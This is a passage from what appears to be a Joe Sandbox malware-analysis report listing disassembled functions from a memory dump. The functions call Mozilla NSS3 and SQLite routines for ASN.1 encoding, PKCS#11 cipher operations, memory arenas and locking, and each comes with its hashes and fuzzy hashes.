Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(DFA89462,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C68EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68EE49

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C68EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C68EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C68EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C68EEB3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: e078dbc3a9a7fec5d4538e76caa6fecef3a4990a4c6f1ee1541df9b13bf24d4b
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 112157BAA002146BEB108F58DC85EAB77A8EF06708F040564FE049B302E771DC15C7FA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C
%s at line %d of [%.10s], xrefs: 6C63AFD3
misuse, xrefs: 6C63AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
